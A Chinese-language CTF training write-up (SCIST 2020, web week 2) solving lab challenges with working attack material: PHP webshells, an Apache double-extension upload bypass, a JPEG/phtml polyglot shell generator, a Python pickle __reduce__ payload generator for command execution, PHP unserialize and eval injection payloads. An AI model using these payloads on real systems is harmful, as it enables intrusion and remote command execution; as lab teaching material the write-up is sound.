---
# System prepended metadata

title: 2020 SCIST Web Week 2
tags: [Security, Web]

---

2020 SCIST Web Week 2
===

[TOC]

## Web
### SSRF NOOB

首先進入網站 只有一個輸入的框框
`give me the url...`
輸入看看這題的網址

![](https://i.imgur.com/uzYQ5Py.png)

看起來貌似是會去 curl 並且把內容顯示出來
來看一下 Source Code

![](https://i.imgur.com/25QM5Vr.png)

看起來 `flag` 放在 `config.php` 下
試試看直接瀏覽

:::danger
Only allow IP 127.0.0.1!
:::

127.0.0.1 這個 IP 表示為本地端
所以要看 `config.php` 只能從本地去看
經過測試，網頁會使用 `file_get_contents` 去取得你 input 的 url

那麼我們輸入看看 `http://127.0.0.1/config.php`

![](https://i.imgur.com/D7apMGi.png)

Flag 就會噴出來了
因為我們是透過 這個網站去請求自身的 `config.php`
想當然 IP 就會是 `127.0.0.1`

:::info
如果題目要求 IP 為 127.0.0.1 盡量就是 127.0.0.1
並不是所有的設定都會將 localhost 導向 127.0.0.1
這會取決於 /etc/hosts 的設定
Windows : **\system32\drivers\etc\hosts**
macOS , Linux : **/etc/hosts**
:::

## Level 1
### HTTP Method

~~這題在沒有題目名字提示下其實有點通靈~~
題目都說了 HTTP Method 所以直接從 Method 下手ㄅ
:::info
OPTIONS 這個 Method 可以查詢這個網站支援什麼 Method
:::

於是我們 curl 一下
```bash=
curl -i -X OPTIONS http://140.110.112.78:30002/
```

<!-- ![](https://i.imgur.com/Vg4HQHJ.png) -->
![](https://i.imgur.com/othVyJ2.png)

注意到有一個 Method 叫做 `FLAGISHERE`
於是我們用那個 Method 去 curl

<!-- ![](https://i.imgur.com/4avM5so.png) -->
![](https://i.imgur.com/RF50b1g.png)

## Level 2
### sha1 collision

進去之後非常佛心 有 Source Code 可以看

![](https://i.imgur.com/crHPR1u.png)

我們只需要注意到
```htmlembedded=11
if ($username == 'admin' and sha1($password) == '0e342768415931451224984248454864')
```

`$username` 已知需要 `admin`
接著就是我們輸入的 `$password` 經過 sha1 Hash 過後必須 == 0e 那串
由於 Hash 本身是不可逆的 所以別想著可以用後面那串反推結果
我們只需要注意到他是使用 `== 弱比較` 進行結果比對

> hash 雖然不可逆，但相同的資料經過相同的 hash function 會得到相同的 hash
> 可以透過暴搜的方式嘗試找出符合的明文

在 PHP 的弱比較中 基本上不存在 數值及字串的差異
並且會將 0e , 1e 等視為科學記號 並轉換為數值
所以
- `"1234"` == `1234`
- `"abcd"` == `abcd`
- `1e2` == `100`
- `"0e3"` == `0000` == `"0000"`

觀察一下會發現那串 0e 後面全部都是數字
所以在弱比較中會被當作 0 去比較
那麼我也只需要上傳一個字串或是數值在經過 sha1 之後
開頭為 0e 且後面皆為數字的就好

password : `aaroZmOk` `aaK1STfY` `10932435112`

> 網路上有好心人士將會產生 `0e...` 數字的字串搜集好了
> https://github.com/spaze/hashes

### Md5 collision

同理 [sha1 collision](#sha1-collision)

password : `QNKCDZO` `s155964671a` `240610708`

### Download

這題打開會給你兩個按鈕去下載檔案 先別急著下載
先來看一下 Source

![](https://i.imgur.com/gBrF9ZU.png)

我們會看到那兩個按鈕導向了其他的 url
觀察一下那個 url 會發現後面奇怪的字串看起來像是 Base64 Encode 的結果
拿去 Decode 一下

<!-- ![](https://i.imgur.com/onAr8ZV.png) -->
![](https://i.imgur.com/LnCreFo.png)


會發現這就是我們要下載的檔案名字
於是我們可以猜測他會下載那串 Base64 Decode 過後的檔案
那我們就自己竄改一下可以下載什麼檔案
```bash=
$ echo -n 'download.php' | base64 # -n 取消輸出換行
> ZG93bmxvYWQucGhw
```

接著 curl 我們要下載的網址
`http://140.110.112.78:3005/download.php?url=ZG93bmxvYWQucGhw`

我們就會得到 download.php 的 Source Code
```php=
<?php
error_reporting(0);
include("flag.php"); // 引用 flag.php 裡的變數及函式
$url=base64_decode($_GET[url]);
if( $url=="flag.php" || $url=="download.php" || $url=="sleepingsheep.mp3" || $url=="ourfrenchcafe.mp3"){

        header ( "Content-Disposition: attachment; filename=".$url);
        echo(file_get_contents($url)); // 將檔案內容輸出
        exit;
}
else {
        echo "沒有權限!";
}
?>
```

透過 Source 可以猜測 flag 在 `flag.php`
於是透過 `download.php` 讀取 `flag.php`

![](https://i.imgur.com/9yeOzaD.png)

## Level 3
### New HTTP Method 

同理 [HTTP Method](#HTTP-Method)

### sh3ll_upload3r

開門見山直接給你 Source Code

:::spoiler 完整 Source Code
```html=
<h2>Sh3ll Upload3r</h2>
<form method="post" enctype="multipart/form-data">
  <input type="file" name="my_file">
  <input type="submit" value="Upload">
</form>
<hr>
<br>
You can only upload file with this content:
<pre>
<?php echo htmlentities(file_get_contents("sh"));?>
</pre>
<hr>
<br>
<br>
<br>
<h3>Source Code:</h3>
<?php
$file = $_FILES['my_file']['tmp_name'];
$dest = 'upload/' . $_FILES['my_file']['name'];
$extension = pathinfo($_FILES['my_file']['name'],PATHINFO_EXTENSION);
$h = sha1(md5(file_get_contents($file)));

if(stripos($extension, 'h') !== FALSE) die('Bad Hacker!');

// check content
if($h === "9b651c5246040f7b776a8a81badf24382c4e1860") {
        echo "<h3 style='color:red'>OK, your shell is valid</h3>";
        move_uploaded_file($file, $dest);
} else if($file !== NULL) {
        die("Oops! You can only upload my shell :)");
}
highlight_file(__FILE__);
?>
```
:::
<br>

來一行一行解析這在幹嘛
```htmlembedded=18
$file = $_FILES['my_file']['tmp_name']
```
將 `$file` 定義為檔案暫存的資料夾位置
```htmlembedded=19
$dest = 'upload/' . $_FILES['my_file']['name'];
```
將 `$dest` 定義為 `upload/檔案名稱` 這個路徑

```htmlembedded=20
$extension = pathinfo($_FILES['my_file']['name'],PATHINFO_EXTENSION);
```
將 `$extension` 定義為上傳檔案之附檔名
```htmlembedded=21
$h = sha1(md5(file_get_contents($file)));
```
將 `$h` 定義為 `$file` 這個路徑的內容經過 `md5` 和 `sha1` 的結果
```htmlembedded=23
if(stripos($extension, 'h') !== FALSE) die('Bad Hacker!');
```
若是 `h` 出現在 `$extension` 則輸出 `Bad Hacker!` 並終止
> `stripos($s,$c)` 會回傳`$c` 在 `$s` 第一次出現的位置 且不分大小寫
> https://www.php.net/manual/en/function.stripos.php

```php=26
// check content
if($h === "9b651c5246040f7b776a8a81badf24382c4e1860") {
        echo "<h3 style='color:red'>OK, your shell is valid</h3>";
        move_uploaded_file($file, $dest);
}
```
如果 `$h` 等於後面那串 `hash`
則輸出 `OK` 並把檔案移到 `$dest` 指定的暫存位置

```htmlembedded=10
<?php echo htmlentities(file_get_contents("sh"));?>
```
~~透過通靈~~ 可以知道是 `sh` 這個檔案

![](https://i.imgur.com/KXRI0qn.png)

可以透過 `wget http://140.110.112.78:4006/sh` 取得完整檔案
> 注意 自己複製文字的話最後要加換行
> 可以透過 `cat 檔案名稱 | md5sum | head -c 32 | sha1sum` 驗證 hash 是否正確
```php=
<?php
system("cat /flag");
```

綜合以上 Code Review 的結果 可推出
1. 只能照 `sh` 的內容上傳
2. 會檢查 `h` 是否出現在附檔名中
3. 檔案上傳後會存在 `http://140.110.112.78:4006/upload/<file_name>` 

注意第 2 點
`php` 的 `PATHINFO_EXTENSION` 只會存取最後面的副檔名
並且我們要讓 `sh` 的內容能夠跑起來

```bash=
curl -i http://140.110.112.78:4006
```
會得知 Server 的環境
`Server: Apache/2.2.15 (CentOS)`

`Apache` 會在解析檔案時跳過未在 mime.type 內定義的副檔名
並且往左邊一個副檔名搜尋

於是如果要繞過第 2 點，可以在 `sh.php` 後面接上其他附檔名
如 : `sh.php.kaibro`，可以迴避 `h` 字元的副檔名檢查
並且使 `Apache` 解析檔案名稱後，使用解析 `PHP` 檔案的方式執行 `sh` 的內容得到 `flag`

Upload `sh.php.kaibro`

<!-- ![](https://i.imgur.com/retB9U6.png) -->
![](https://i.imgur.com/imobvMO.png)


> 想瞭解更多關於 `Apache` 的解析漏洞可以參考下方的連結
> https://www.gentoo.org/support/news-items/2015-04-06-apache-addhandler-addtype.html

### ImageUploader 

:::spoiler 完整 source code
```htmlembedded=
<html>
<body>
<h2>Image Uploader</h2>

<?php  
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="filename" value="upload.jpg" />
Choose a JPEG to upload:<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form> 
<div id="viewsource"><a href="/?action=source">View sourcecode</a></div>
<? 
    if($_GET['action'] === 'source'){
        highlight_file(__FILE__);
    }
}
else{
    $file = $_FILES['uploadedfile']['tmp_name'];
    if(!isset($_POST['filename'])) echo "Without Correct Parameters";
    else if(filesize($file) > 1000) echo "File must be smaller than 1kB";
    else{
        $ext = pathinfo($_POST["filename"],PATHINFO_EXTENSION);
        $target_path = "upload/" . md5($_SERVER['REMOTE_ADDR'] . file_get_contents($file)) . "." . $ext;
        if(move_uploaded_file($file, $target_path)) echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        else echo "Something wrong during the uploading process"; 
    }
}
?>
</body>
</html>
```
:::

這題就不每行解釋 code 在做什麼了
上傳檔案的幾個條件

1. `line 6`: `METHOD` 是 `POST`
2. `line 22`: `POST` 的資料中有 `filename` 欄位
3. `line 23`: 上傳的檔案不能超過 1kB

通過這些條件，檔案會存在 `upload/$md5.$ext`
```php
$md5 = md5($_SERVER['REMOTE_ADDR'] . file_get_contents($file))
```
將你的 ip 和檔案內容經過 `md5` hash 作為檔案名稱
```php
$ext = pathinfo($_POST["filename"],PATHINFO_EXTENSION)
```
使用 `POST` 資料中 `filename` 欄位的副檔名當作上傳檔案的副檔名

綜合以上分析
可以知道將 `filename` 的副檔名改成 `php` 就可以執行 PHP code

![](https://i.imgur.com/75KZh5g.png)
<!-- ![](https://i.imgur.com/LDlINls.png) -->

上傳 php shell 後下指令即可找到 flag 
php shell 範例：``<?=`$_GET[1]`?>``

<!-- ![](https://i.imgur.com/RAJtoYU.png) -->
![](https://i.imgur.com/2nzCZ8S.png)


## Level 4 
### Kaibro_easy-pickle
:::spoiler `index. php` 完整 Source Code
```htmlembedded=
<?php

$gg = $_POST['data'];
if (isset($gg)) {
        preg_match('/^[a-zA-Z0-9=]+$/', $gg, $m);
        system("echo $m[0] | python pickle.py");
} else {
        echo "WheRe iS yOur gg?<br>";
}
highlight_file(__FILE__);
```
:::

:::spoiler `pickle. py` 完整 Source Code
```python=
#!/usr/bin/python
import os
import cPickle
import sys
import base64

s = raw_input(":")
print cPickle.loads(base64.b64decode(s))
```
:::
<br>

先來看一下這行

```htmlembedded=5
preg_match('/^[a-zA-Z0-9=]+$/', $gg, $m);
```

> `preg_match($pattern, $str, $arr)` ([PHP manual](https://www.php.net/manual/en/function.preg-match.php))
> 會將 `$str` 中符合 `$pattern` 這個 `Regular Expression` 條件的字串區段丟上 `$arr` 這個 array 中

那我們來看一下這段 `Regular Expression`
`/^[a-zA-Z0-9=]+$/`
`^` 為整個字串的開頭
`[a-zA-Z0-9=]` 只要字串在 `a-z` or `A-Z` or `0-9` 的區間或是等於 `=` 都符合條件
`+` 匹配至少1個直到不符合條件
`$` 為整個字串的結束
綜合以上結果可以用 [Regular Debug](https://www.debuggex.com/) 轉換為下圖

![](https://i.imgur.com/ncyTqj1.png)

> 如果暫時看不懂 `Regular Expression` 沒關係
> 可以先用線上的 Visualizer 繞過學習門檻
> [name=nella17]

其實這段就是只取符合 Base64 Encode 字元的字串而已
接著是執行的部分

```htmlembedded=6
system("echo $m[0] | python pickle.py");
```

將 `$m` 這個 `array` 的第一個值取出來 `pipe` 輸入到 `pickle.py`
> `php` 在 `""` 雙引號的字串會解析 `$` 開頭的變數名稱將其替代
> 還有許多特殊的語法可以使用
> ![](https://i.imgur.com/bbUKeba.png)

接著就是 Python Pickle 序列化的部分

> \_\_reduce__ 在序列化時會被呼叫
> return 形式為 (function, (arg1, arg2, ...))
> 這東西會被放在序列化後字串的 bytes 中
> 當在做反序列化時，物件會以 function(arg1, arg2, ...) 的方式建立
> [name=djosix]

因此攻擊流程為

1. 建立一個 `class` 
2. 初始化 並且建立 `__reduce__` 這個 `function` 讓他在序列化時被呼叫
3. 回傳 `(system , (self.name))` 在反序列化時則會變成呼叫 `system(self.name)`
4. Base64 encode 過後上傳

:::spoiler Payload Generate Script
```python=
#!/usr/bin/python2
from pickle import dumps , loads
from os import system
from base64 import b64encode

class cmd(object):
    def __init__(self, name):
        self.name = name
    def __reduce__(self):
        return (system, (self.name, ))

command = raw_input()
s = dumps(cmd(command))

print(b64encode(s).decode())
```
:::

![](https://i.imgur.com/rG7KiV3.png)

### To serialize or Not to serialize //TODO

:::spoiler 完整 Source Code
```htmlembedded=
<?php

class MyFirstCTF {
    protected $test = "CTF";
    function __wakeup()
    {
        print "Wake up yo!<br>";
        system("echo ".$this->test);
    }
}

$input = $_GET['str'];
$kb = unserialize($input);

highlight_file(__FILE__);
```
:::

[php-unserialize-初识](http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/)

簡單的反序列化，重點在注意變數是`protected`物件，所以變數名的部分需要加上`%00`的一些東西。

```
O:10:"MyFirstCTF":1:{s:7:"%00*%00test";s:3:";ls";}
```

### ImageUploader2

:::spoiler 完整 Source Code
```htmlembedded=
<html>
<body>
<h2>Image Uploader2</h2>

<?php  
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
Choose a JPEG to upload:<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form> 
<div id="viewsource"><a href="/?action=source">View sourcecode</a></div>
<? 
    if($_GET['action'] === 'source'){
        highlight_file(__FILE__);
    }
}
else{
    $file=$_FILES['uploadedfile']['tmp_name'];
    if(filesize($file) > 1000) echo "File must be smaller than 1kB";
    else if(!@exif_imagetype($_FILES['uploadedfile']['tmp_name'])) echo "It's IMAGE uploader";
    else{
        $ext = pathinfo($_FILES['uploadedfile']['name'],PATHINFO_EXTENSION);
        if($ext === "php") echo "No more php webshell";
        else{
            $target_path = "upload/" . md5($_SERVER['REMOTE_ADDR'] . file_get_contents($file)) . "." . $ext;
            if(move_uploaded_file($file, $target_path)) echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
            else echo "Something wrong during the uploading process"; 
        }
    }
}
?>
</body>
</html>
```
:::

大部分內容都跟 ImageUploader 一樣
只需要注意兩個部分
```htmlembedded=22
else if(!@exif_imagetype($_FILES['uploadedfile']['tmp_name'])) echo "It's IMAGE uploader";
```
`exif_imagetype` 會檢查檔案檔案的 Header 並回傳相對應的數值
詳細資料可以看 [PHP ImageType List](https://www.php.net/manual/en/function.exif-imagetype.php)

```htmlembedded=25
$ext = pathinfo($_FILES['uploadedfile']['name'],PATHINFO_EXTENSION);
        if($ext === "php") echo "No more php webshell";
```
檢查如果副檔名為 `php` 則會顯示 `No more webshell`

所以我們只需要生成一個檔案
`File Header` 是在 `ImageType List` 裡的
並且副檔名不為 `php` 但是可執行 PHP Code 的檔案就好

#### Solution 1 by MuMu

這邊以生成 `Header` 為 `JPG` 的　`upload.phtml` 為例子
`touch upload.phtml` 
`hexedit upload.html` 輸入 `ffd8 ffe2` `Ctrl-X` 儲存
`vim upload.phtml` 從第二行開始輸入你要的 PHP Code
`file upload.phtml` 確認資料型態為 JPEG

![](https://i.imgur.com/o2fkkqu.png)

接著就可以開始下 Command 了
`http://140.110.112.78:30007/upload/<md5 str>.phtml/?cmd=<command>`

#### Solution 2 by nella17

```python=
from PIL import Image
import numpy as np
script = b'\n<br><?=`$_GET[1]`?><br>\n'
img = Image.fromarray(np.array([[0]],dtype=np.uint8))
img.save('shell.jpg', exif=script)
import os
os.rename('shell.jpg', 'shell.phtml')
```

使用 `python` 的 `pillow` 和 `numpy` 創建圖片，並在 `exif` 的區塊寫入 php script
使用 `phtml` 副檔名 bypass `php` 副檔名的限制

### Ev41

::: spoiler Source Code
```htmlembedded=
<?php

highlight_file(__FILE__);

if(!isset($_POST['payload'])) die("GIVE ME payload");
$payload = $_POST['payload'];

$b64decoded = base64_decode($payload);
if(strlen($b64decoded) > 0 ) {
    $payload = '# ' . $b64decoded;
}

if(strlen($payload) > 50) die("Too Greedy");

echo $payload;
eval($payload);

?>
```
:::

#### Solution 1 by MuMu

這題我們只需要注意
```htmlembedded=16
eval($payload);
```

如果想繞過 `len(b64decode)> 0`
可以看下面的毒瘤解

PHP 的 `eval` 會加字串當作 PHP 的 Code 去執行
所以我們只需要處理 `#` 就好
`#` 在 PHP 為註解 所以要換行迴避

```bash=
echo -e "\nsystem('ls');" | base64
```
:::info
如果不加 -e 則 echo 不會將 \n 解析為換行
:::

只要讓他 `eval()` 上面那個 Command 的結果
在 PHP 中就會長這樣
```htmlembbeded=
#
system('ls');
```

這樣就可以繞過被註解的情況了

#### Solution 2 by nella17

payload :
```php
$_='`{{{'^'?<>/';($$_[π])($$_[§]);
```

> If the strict parameter is set to TRUE then the base64_decode() function will return FALSE if the input contains character from outside the base64 alphabet. Otherwise invalid characters will be silently discarded.
> source: [PHP Function Base64 Decode](https://www.php.net/manual/en/function.base64-decode.php)

由 PHP manual 可知，`base64_decode` 在 `strict`參數（第2個參數）非 `TRUE` 時，會略過非 `base64` 的字母
Base64 alphabet: `A-Za-z0-9+/` padding: `=`
<!-- base64 regex `^(?=(?:\S{4,4})?)[A-Za-z0-9+/]?={0,3}$` -->

由於 `php` 的語言特性
```php
$_='`{{{'^'?<>/';
# $_ == '_GET'
# $$_ == $_GET
($$_[π])($$_[§]);
# $a = $_GET[π] = 'system'
# $b = $_GET[§] = 'pwd'
# ($a)($b) == system('pwd')
```
<!--
``'`{{{'^'?<>/'`` == `'_GET'`
`$_='_GET'`，`$$_` == `$_GET`
`$a='system',$b='ls'`，`$a($b)` == `system('ls')`
-->
![](https://i.imgur.com/QK6BG6C.png)



---
# 協作者
> [name=nella17]
> [name=MuMu]

###### tags: `Security` `Web`
